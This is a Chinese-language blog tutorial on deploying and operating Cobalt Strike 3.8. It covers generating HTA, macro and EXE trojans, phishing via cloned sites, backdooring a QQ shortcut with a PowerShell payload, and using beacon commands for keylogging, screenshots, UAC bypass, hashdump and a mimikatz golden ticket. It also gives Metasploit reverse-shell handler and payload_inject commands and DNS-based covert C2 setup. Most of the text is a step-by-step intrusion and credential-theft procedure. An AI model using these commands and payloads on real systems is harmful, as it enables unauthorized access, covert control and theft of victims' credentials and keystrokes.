參考鏈接:
https://www.ezreal.net/archives/166.html
http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike作者博客
https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之團隊服務器的搭建與DNS通訊演示.html
cobalt strike從3.0 開始,不再依賴於Metasploit框架而是作為一個獨立的平台使用。本次服務器搭建過程使用cobaltstrike3.8。3.0之前的版本,teamserver搭建過程則需要安裝配置msf,這里不在贅述。
一、服務器Teamserver搭建
(1)團隊服務器上:
(VPS的話要寫外網ip,並且可以進行端口映射,默認使用50050端口)
sudo ./teamserver 服務器IP 連接密碼
但是這個終端一關閉團隊服務器也就關閉了,這里我們可以把他置於后台來運行:
nohup ./teamserver IP 密碼 &
這樣就可以了,這個目錄下會生成一個nohup.out的文件
注意
1.內存使用超過%50 無法啟動java虛擬機。
2.3.0之前的版本,結束Cobalt Strike的時候也要同時結束所有 msfrpcd 進程,否則下次會啟動不了。
(2)使用客戶端連接
java -jar cobaltstrike.jar
個人在使用過程中,曾經出現過jvm內存不夠的問題,導致服務器運行出錯。可以添加swap虛擬內存,具體可以參考我的另外一篇博文:linux添加swap
二、Cobaltstrike的使用
1.創建Listener
Cobalt Strike首先需要創建一個Listener,用於監聽會話和接受shell連接。依次點擊 Cobalt Strike->Listeners ,點擊Add便可以創建自己想要的Listener。
2. Attacks過程
(1)Packages
這個選項中包含了多種攻擊方式。
HTML Application 生成惡意的HTA木馬文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各種語言版本的payload; USB/CD AutoPlay 生成利用自動播放運行的木馬文件; Windows Dropper 捆綁器,能夠對文檔類進行捆綁; Windows Executable 生成可執行exe木馬; Windows Executable(S) 生成無狀態的可執行exe木馬
舉例
HTML Application 生成一個基於powershell的惡意HTA木馬
選中attack–>packages–>HTML Application
選擇基於powershell的HTA木馬
點擊Generate保存錄即可生成一個HTA木馬
當目標點擊HTA木馬后即可獲得一個beacon
MS Office Macro 生成office宏病毒文件
可以參考:Office Phishing
(2)Web Drive-by(釣魚攻擊)
Manage 對開啟的web服務進行管理; Clone Site 克隆網站,可以記錄受害者提交的數據; Host File 提供一個文件下載,可以修改Mime信息;Host File 可以配合DNS欺騙實現掛馬效果使用 PowerShell Web Delivery 類似於msf 的web_delivery ; Signed Applet Attack 使用java自簽名的程序進行釣魚攻擊; Smart Applet Attack 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本; System Profiler 用來獲取一些系統信息,比如系統版本,Flash版本,瀏覽器版本等。 Spear Phish 用來郵件釣魚的模塊
還有其他的模塊其實都差不多
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻擊向量相同
powershell web-Drive-by制作快捷方式后門:
依次選擇attack–>web-Drive-by–>powershell Drive-by URI Path:/ Local Port:80 Listener:saya Laubch生成之后會輸出一條語句這條語句在powershell運行會得到一個beacon但是一般人不會這么去運行 隨便復制一個軟件的快捷方式 這里以QQ快捷方式為例子目標,復制我們的powershell語句,起始位置清空,粘貼我們的語句,"應用",當目標點擊快捷方式獲得beacon
(3)View
Applications 顯示受害者機器的應用信息;
Credentials 顯示受害者機器的憑證信息,能更方便的進行后續滲透;
Downloads 文件下載;
Event Log 可以看到事件日志,清楚的看到系統的事件,並且團隊可以在這里聊天;
Keystrokes 查看鍵盤記錄;
Proxy Pivots 查看代理信息;
Screenshots 查看屏幕截圖;
Script Console 在這里可以加載各種腳本以增強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
Targets 查看目標;
Web Log 查看web日志。
Reporting 主要就是出報告用的
(4)Beacon
Beacon可以選擇通過DNS還是HTTP協議出口網絡,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機連接,部署 好Beacon后提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。目標網絡的防護團隊必須攔截所有的列表中的主機才可中斷和其網絡的 通訊。通過種種方式獲取shell以后(比如直接運行生成的exe),就可以使用beacon了
右擊電腦,Interact,則可打開Beacon Console;為了能快速顯示結果,可以設置 beacon>sleep 0
1)Browserpivot
用戶注入受害者瀏覽器進程,然后開啟HTTP代理,之后就可以登錄受害者登錄的網站了。
使用方式
ps找到瀏覽器進程PID,如iexplorer.exe,為3452
注入進程:beacon> browserpivot 3452(PID) x64(架構)
注入瀏覽器進程成功之后,會顯示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口號
設置本地HTTP瀏覽器代理
當然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可使用如下命令:browserpivot stop
2)Socks
直接開啟socks4a代理,可以通過代理進行內網滲透測試。
開啟socksbeacon>socks 9999
這里可以選擇其中一台,右鍵Pivoting->SOCKS Server,則使用此台計算機開啟socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
然后就可以通過proxychains 等各種工具做內網滲透了。
msf中開啟隧道使用(在連接數據庫的情況下,msf會與本地數據庫斷開)
msf>setg Proxies socks:192.168.1.103.53790
關閉socks:beacon>socks stop
3)Screenshot
這里的screenshot可以截取受害者一定時間的屏幕截圖,操作命令為:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
然后打開View->Screenshots,則可以看到屏幕截圖
4)Keylogger鍵盤記錄器
keylogger [pid] <x86|x64>
然后打開View->Keystrokes,則可以看到鍵盤記錄結果
如果不想使用命令行,可以直接選擇受害者計算機(可多選)
5)powershell-import
這個功能在后滲透測試中很有用,可以導入各種powershell滲透框架,比如nishang的powerpreter,直接執行:
beacon> powershell-import
然后在文件瀏覽器里面選擇 Powerpreter.psm1
或者直接執行:
powershell-import [/path/to/local/script.ps1]
進行導入,之后就可以使用powerpreter的各種模塊了。
要執行某模塊直接使用如下命令,比如:beacon> powershell Check-VM
6)kerberos
這里一共有三個模塊,分別是:
kerberos_ccache_use 從ccache文件中導入票據
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據
使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
烏雲關於kerberos也有相關文章
http://drops.wooyun.org/tips/7547 內網滲透中的mimikatz
http://drops.wooyun.org/tips/9591 域滲透的金之鑰匙
7)BypassUAC
直接執行:
beacon> bypassuac
下面你就可以執行那些需要最高權限的操作了。
這一塊在測試Win10的時候並沒有成功,關於Win10的bypassuac可以參考這篇文章:
使用一個作者修改的powershell腳本 invoke-BypassUAC.ps1
生成一個beacon后門: Windows Executable Listener:reverse_http Output: Windows EXE 上傳后門: beacon> cd E: beacon> upload /Users/evi1cg/Desktop/test.exe 加載powershell執行后門: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1 beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那個破了的電腦的beacon讀取密碼: beacon> sleep 0 beacon> wdigest beacon> hashdump
三、高級用法
1、cobalt strike派生shell給metasploit
首先我們使用msf的reverse_tcp開啟監聽模式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
之后使用Cobalt Strike創建一個
windows/foreign/reverse_tcp Listener
其中ip為msf的ip地址,端口為msf所監聽的端口。
然后選中計算機,右鍵->Spawn,選擇剛剛創建的監聽器:
msf中即可看到成功獲取了meterpreter會話
2、Metasploit派生shell給cobaltstrike
你前提需要有一個meterpreter會話 ,然后我們使用這個模塊
exploit/windows/local/payload_inject
功能是注入一個新的payload 到當前的session里面
我們先在cobaltstrike上創建一個監聽器,等會用於接收msf派生的shell,這里我使用
windows/beacon_http/reverse_http
然后在msf中
use exploit/windows/local/payload_inject msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http msf exploit(payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(payload_inject) > set LHOST 192.168.81.135 LHOST => 192.168.81.135 msf exploit(payload_inject) > set LPORT 8880 LPORT => 8880 msf exploit(payload_inject) > set SESSION 1 SESSION => 1 msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 3916 msf exploit(payload_inject) >
解釋下:
cobaltstrike的監聽器我們使用的是:windows/beacon_http/reverse_http,
所以我們msf的payload要使用:windows/meterpreter/reverse_http
設置msf本地監聽ip和端口為cobaltstrike機器的ip和端口
默認情況下,payload_inject執行之后會在本地產生一個新的handler,
由於我們已經有了一個,所以不需要在產生一個,所以這里我們設置
set DisablePayloadHandler true
如果出現錯誤,PID does not actually exist,可以設置一下注入進程的pid。set pid 進程號
3、通過DNS控制目標
Cobalt Strike有個beacons的功能,它可以通過DNS,HTTP,SMB來傳輸數據,下面我以DNS為例演示下。通過DNS來控制目標和滲透好處是不開端口,能繞過大部分防火牆,隱蔽性好等等。詳細文章可參考這篇博文。
1. 域名設置
(1)首先我們的有個域名,並且創建一條A記錄指向我們的metasploit服務器,記住不要用CDN什么的
(2)然后再創建2個或3個ns記錄指向剛才創建的A記錄。這樣我們就可以通過dns找到我們的metasploit服務器了。
2. Cobalt Strike設置
在Cobalt Strike中我們添加一個listener
Edit Listener Payload windows/beacon_dns/reverse_http host port 80
HOST填寫的是metasplit服務的IP,在點擊Save的時候會要求填寫你的NS記錄,這里寫入我們剛才創建的3個ns記錄。接下來創建一個木馬測試下。
3. 木馬生成
在attack->packages中找到windows木馬生成
Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener選擇我們剛才創建的(有兩個,選擇有DNS的那個),輸出的有exe,帶服務的EXE,dll等。
(連接方式以DNS生成的DLL木馬能過掉很大一部分殺毒軟件)
把生成的DNS.EXE放到虛擬機中運行。
回到Cobalt Strike打開beacons管理器發現有一個服務端響應了我們
右鍵是管理菜單,選擇sleep設置相應的時間,然后選擇interact來到操作界面
4.設置傳輸模式
傳輸有dns、dns-txt,http,smb四種,我們這里用的是DNS就在dns、dns-txt中選擇把,前者傳送的數據小后者傳送的數據多。命令
beacon> mode dns-txt(這里可以用TAB補齊命令的)
這中方式好處在於比較對控制目標主機比較隱蔽,缺點在每次的命令的返回結果比較慢,在過防火牆方面還是不錯的。
拓展